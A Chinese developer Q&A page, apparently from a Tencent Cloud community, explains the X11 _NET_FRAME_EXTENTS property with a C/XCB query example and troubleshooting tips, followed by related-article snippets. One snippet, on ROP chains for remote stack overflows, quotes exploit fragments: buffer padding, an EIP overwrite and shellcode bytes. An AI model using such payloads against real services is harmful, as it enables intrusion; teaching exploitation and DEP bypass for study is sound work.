首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

X11:_NET_FRAME_EXTENTS窗口属性。XCB的回报不一致

在 X11 窗口系统中,_NET_FRAME_EXTENTS 是一个窗口属性,用于描述窗口管理器为窗口装饰(如边框、标题栏等)添加的外部边框的大小。这个属性通常由窗口管理器设置,并且可以通过 X11 协议查询。

_NET_FRAME_EXTENTS 属性

_NET_FRAME_EXTENTS 属性包含四个整数值,分别表示窗口的左、右、上、下边框的宽度。这些值可以帮助应用程序了解窗口管理器为窗口添加的装饰的大小,从而进行适当的布局调整。

使用 XCB 查询 _NET_FRAME_EXTENTS

XCB(X C Binding)是一个用于与 X 服务器通信的库。使用 XCB 查询 _NET_FRAME_EXTENTS 属性的代码示例如下:

代码语言:javascript
复制
#include <xcb/xcb.h>
#include <xcb/xcb_atom.h>
#include <stdio.h>
#include <stdlib.h>

void get_net_frame_extents(xcb_connection_t *conn, xcb_window_t window) {
    xcb_intern_atom_cookie_t cookie = xcb_intern_atom(conn, 0, strlen("_NET_FRAME_EXTENTS"), "_NET_FRAME_EXTENTS");
    xcb_intern_atom_reply_t *reply = xcb_intern_atom_reply(conn, cookie, NULL);

    if (!reply) {
        fprintf(stderr, "Failed to get _NET_FRAME_EXTENTS atom.\n");
        return;
    }

    xcb_atom_t net_frame_extents = reply->atom;
    free(reply);

    xcb_get_property_cookie_t prop_cookie = xcb_get_property(conn, 0, window, net_frame_extents, XCB_ATOM_CARDINAL, 0, 4);
    xcb_get_property_reply_t *prop_reply = xcb_get_property_reply(conn, prop_cookie, NULL);

    if (!prop_reply) {
        fprintf(stderr, "Failed to get _NET_FRAME_EXTENTS property.\n");
        return;
    }

    if (xcb_get_property_value_length(prop_reply) == 4 * sizeof(uint32_t)) {
        uint32_t *extents = (uint32_t *)xcb_get_property_value(prop_reply);
        printf("Left: %u, Right: %u, Top: %u, Bottom: %u\n", extents[0], extents[1], extents[2], extents[3]);
    } else {
        fprintf(stderr, "Unexpected property value length.\n");
    }

    free(prop_reply);
}

int main() {
    xcb_connection_t *conn = xcb_connect(NULL, NULL);
    if (xcb_connection_has_error(conn)) {
        fprintf(stderr, "Failed to connect to X server.\n");
        return -1;
    }

    // Replace with the actual window ID you want to query
    xcb_window_t window = 0x02000007;

    get_net_frame_extents(conn, window);

    xcb_disconnect(conn);
    return 0;
}

不一致的回报

如果你在使用 XCB 查询 _NET_FRAME_EXTENTS 属性时遇到不一致的回报,可能有以下几个原因:

  1. 窗口管理器支持:确保你的窗口管理器支持并设置了 _NET_FRAME_EXTENTS 属性。并不是所有的窗口管理器都支持这个属性。
  2. 窗口管理器延迟:窗口管理器可能在窗口创建后的一段时间内才设置 _NET_FRAME_EXTENTS 属性。如果你在窗口创建后立即查询,可能会得到不完整或错误的结果。
  3. 窗口 ID 错误:确保你查询的窗口 ID 是正确的。如果你查询了错误的窗口 ID,可能会得到意外的结果。
  4. XCB 连接问题:确保你的 XCB 连接是有效的,并且没有错误。

调试建议

  1. 检查窗口管理器:使用 xprop 工具手动检查窗口的 _NET_FRAME_EXTENTS 属性,确保窗口管理器正确设置了这个属性。

xprop -id <window_id> _NET_FRAME_EXTENTS

  • 延迟查询:在窗口创建后,添加一些延迟再查询 _NET_FRAME_EXTENTS 属性,确保窗口管理器有足够的时间设置属性。
  • 日志和调试:在代码中添加更多的日志和错误检查,帮助你定位问题的根源。
页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

dotnet 如何从 Gtk 3 窗口到对应 X11 窗口

本文将告诉大家如何在 Gtk3 Gtk.Window 或 Gdk.Window 里面获取到对应 X11 窗口 XID 号 记录本文是因为我在这里踩了很多坑,核心问题就是 GTK 有很多个版本,我开始找全是使用...gdk 窗口是不相同,可以通过 gtk_widget_get_window 方法获取,在 C# dotnet 里面可直接使用 Gtk.Window Window 属性,更多请参阅:https:/...gdk 窗口获取到对应 X11 窗口 XID 值 为了方便使用 gdk_x11_window_get_xid 方法,以下照 GtkSharp 进行一些代码定义 [UnmanagedFunctionPointer...X11 窗口 XID 号,可以同步在命令行输入进 xwininfo 命令里面。...比如我这里输出X11 窗口 0x5600003 值 打开另一个命令行,输入以下命令,将 XID 传入 xwininfo 命令,即可看到显示窗口标题和当前运行窗口是相同 我核心踩坑就是搜到

12110

X 随笔

窗口管理提供了一组工具函数,实现对窗口创建、关闭、删除等基本操作功能,此外还实现设置、获取窗口属性、移动等控制窗口功能。...窗口系统资源包括屏幕、窗口、象素映象、调色板、字体、光标、设备及绘图属性集。...Xlib共有320多个函数,可分为系统功能(连接建立和拆除等)、窗口功能(窗口属性与操作)、图形功能(图元、图形属性、正文字体、区域、图像等)、色彩功能(颜色表操作等)、时间功能(输入时间及窗口事件)...窗口管理器和客户端之间遵循ICCCM协议,大多数通信建立在父窗口属性之上,也可以通过窗口管理器产生事件进行通信。...Shell处理客户端和窗口管理器之间通信,客户端不需要直接处理属性或事件,通过设定Shell资源来指定窗口属性。 X Client 应用程序可以最小化成图标。

1K10

学习 Avalonia 框架笔记 如何创建一个全屏置顶 X11 应用窗口

本文记录我从 Avalonia 框架里面学到如何创建一个全屏置顶 X11 应用窗口方法 开始之前,先从 Avalonia 或 CPF 里面拷贝足够代码,这部分代码可以从本文末尾找到下载方法 设置全屏核心代码是以下三行...(EventMask.SubstructureRedirectMask | EventMask.SubstructureNotifyMask)), ref xev); } 如此即可获取一个全屏且在所有窗口...,包括任务栏上层最顶层 X11 窗口 以上代码是从 https://github.com/AvaloniaUI/Avalonia/blob/b5db6bb0f6c19070e2a09a23231bcc1e01c40610.../src/Avalonia.X11/X11Window.cs 里面抄 分别是 WindowState 属性 set 方法以及 SetTopmost 方法 为了让大家能够看到窗口在最顶层效果,接下来绘制两条线段...693a137d9349bc65b5e2ed3a7c5d2480775e621a 获取代码之后,进入 CeaherecelallLemlalnohuce 文件夹,即可获取到源代码 更多 Avalonia 以及 X11

46410

使用LSTM预测比特币价格

,用于输出下一个预测归一化回报率。...这种趋势似乎不是特别准确,有时甚至是不一致。然而!有趣是,预测趋势线大小似乎与价格波动大小有关。...结论 这一节我不以人工智能帽子角度,而以投资经理角度来解释一些关键事实…… 人们应该意识到主要问题是,预测回报是一项相当没用活动。...在这样数据集上使用LSTM神经网络另一个问题是我们将整个时间序列数据集作为一个固定时间序列。也就是说,时间序列属性在整个时间内都是不变。...然而这不可能,因为影响价格变化因素也随时间而变化,所以假设网络发现属性或模式在现在仍然使用是一种天真的想法,真的并不一定是这样。

1.3K70

Qt 5.14版本更新细节

当前支持平台是Windows 10,带有X11(xcb)Linux,带有MoltenVKmacOS或适用于VulkanAndroid 7.0+,适用于MetalmacOS,适用于D3DWindows...在Qt.labs.animation中添加了BoundaryRule:一个PropertyValueInterceptor,它限制数值属性可以具有的值范围,当值超调时应用"阻力",并提供将其重新设置为范围内动画能力...现在,Image和BorderImage具有与AnimatedImage相同currentFrame和frameCount属性。例如,这允许从包含多个图标的.ICO文件中选择单个图标。...[QTBUG-74166]用于控制QWebEnginePage生命周期新API。 [QTBUG-56978]下载项目的方法和属性,以获取建议名称,并更改下载目录和文件名。...Qt Mqtt 添加了对加密连接时使用QSslConfiguration支持。 添加了autoKeepAlive属性以启用手动连接检查。 Qt OPC UA 添加了GDS客户端支持技术预览。

3.1K10

dotnet X11 栈空间被回收导致调用 XPutShmImage 闪退

本文记录在使用 X11 过程中问题,由于不正确使用导致栈空间被回收,从而在调用 XPutShmImage 时让应用闪退,此问题本质上讲只和 X11 设计有一分钱关系,更多问题在于我写法上 在 上一篇博客..., int DataByteLength, IntPtr Handle, IntPtr GC ); 再简单创建一个 X11 窗口,代码如下 XInitThreads();...override_redirect属性为True,以避免窗口管理器干预 colormap = XCreateColormap(display, rootWindow, visual,...XShmInfo DebugIntPtr 属性是一个为了调试 xShmSegmentInfo 地址空间而添加调试属性。...override_redirect属性为True,以避免窗口管理器干预 colormap = XCreateColormap(display, rootWindow, visual,

7210

Halcon学习(四) 导出C++代码,在VS2010下编译

导出一个简单功能算子: 在HDevelop中只添加read_image (Image, 'fabrik')一行代码,选择“文件”–“导出”,在“导出”窗口中选择导出文件格式(C++ - HALCON...defined(NO_EXPORT_APP_MAIN) # include # endif #else # ifndef HC_LARGE_IMAGES # include...2.引入必要头文件 在(项目属性)–(配置属性)–(C/C++)–(常规)–“附加包含目录”中添加路径: $(HALCONROOT)/include $(HALCONROOT)/include/halconcpp...3.包含库路径 在(项目属性)–(配置属性)–(链接器)–(常规)–“附加库目录”中添加库路径: $(HALCONROOT)/lib/$(HALCONARCH) 4.添加库 在(项目属性)–...(配置属性)–(链接器)–(输入)–“附加依赖项”中添加库: halconcpp.lib 5.添加dll文件 将缺少dll文件放进工程目录源文件所在位置。

88120

在 RK3399 上运行开源 mali GPU 驱动

GPU 偶尔会听到有嵌入式 Linux 玩家抱怨自己开发板:图形界面不够流畅,拖动窗口有卡顿感。...第一个原因基本是无解,如果你选 SOC上面没有带 GPU,唯一办法就是尽量去跑轻量级图形界面,如果想跑 Debian、Ubuntu 这种发行版上默认搭配 Gnome 或者 KDE,这种没有 GPU...:一小部分在 Linux 内核中,另外一大部分在 userspace,在 usercapce 部分向下操作内核中驱动,向上对应用层提供标准 OpenGL 接口,这样各种图形显示相关应用才能通过标准...安装 weston weston 是负责对各种应用绘制图层进行合成软件框架,它是按照 Wayland 标准实现,目标是替代在 Linux PC 端存在了很久 X11,如果对 Android 图形系统比较了解的话...bison python3-mako libwayland-egl-backend-dev libxcb-dri3-dev libxcb-dri2-0-dev libxcb-glx0-dev libx11-xcb-dev

19.3K97

dotnet X11 简单使用 MIT-SHM 共享内存推送图片

众所周知,在 X11 里面有经典 Client-Server 模型。...推送方法可以是 XPutImage 方式,也可以是本文介绍 X11 XShm Extension XShmPutImage 方式 上文 XShm 是 X Shared Memory 缩写...2 毫秒 接下来将和大家演示如何在 X11 里面简单使用 XShm Extension 扩展方法推送图片渲染 本文使用很多 X11 PInvoke 代码是从 CPF 和 Avalonia 里面抄...ZPixmap 格式请参阅 dotnet 理解 X11 24 位或 32 位色深窗口 如此即可创建一个颜色深度为 32 位色深 XImage 指针 如上文所述,使用 shmget 创建一个共享内存标识符...override_redirect属性为True,以避免窗口管理器干预 colormap = XCreateColormap(display, rootWindow, visual,

9210

ubuntu7.10安装到3D开启

/[/url] 在开始用它进行视频播放前还需要进行以下设置(先启动它), 然後右键弹出主菜单 -> Preferences/属性 -> Video/视频, 在"Available drivers/可用驱动..."中选择"x11"或"xv",在同一窗口下半部份钩上"允许掉帧/Enable frame dropping"。...进入调整大小->动作,点击一般前面的小三角,双击“启动所有窗口窗口拾取器”,选中Topleft,点击OK。现在将你鼠标移动到桌面左上角,就能实现类似Mac os XExpose特效了。...在CCSM(CompizConfig设置管理器)主界面选择移动窗口,将其设置界面中不透明度设置到60左右,这样你移动窗口时候就会有半透明效果。...在CCSM主界面中选择Animations->CloseAnimation,在窗口第一个Glide2上双击,然后从CloseEffect下拉菜单中选择Burn,这样每次关闭窗口时候会有火焰效果

1.8K80

构建ROP链实现远程栈溢出

host,port)) command = b"send |/.:/" # 发送数据包头 buffer = b'A' * 2002 # 实际缓冲区填充物 eip = b'\xED\x11...xf8\x57\x9f\xcd\xef" buf += b"\x67\x4f\x75\x7f\x96\x70\x85\xa9\x5d\x24\xd5\xc1\x74" buf += b"\x45\xbe\x11...ROP反导编程绕过DEP保护 前期提到过,缓冲区溢出根本原因就是错误将用户输入恶意数据当作了指令来执行了从而导致发生溢出,因此微软推出了基于软件实现DEP保护机制,其原理就是强制将堆栈属性设置为...而随着DEP技术出现,黑客们就研究出了另一种绕过措施,就是本次所提到ROP返回导向编程,在微软系统中有这样一些函数他们作用就是可以将堆栈设置为可读可写可执行属性(VirtualProtect)...xf8\x57\x9f\xcd\xef" buf += b"\x67\x4f\x75\x7f\x96\x70\x85\xa9\x5d\x24\xd5\xc1\x74" buf += b"\x45\xbe\x11

81820
领券